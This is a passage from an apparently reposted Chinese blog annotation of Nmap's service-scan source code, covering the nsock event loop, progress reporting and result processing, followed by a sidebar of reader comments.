  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...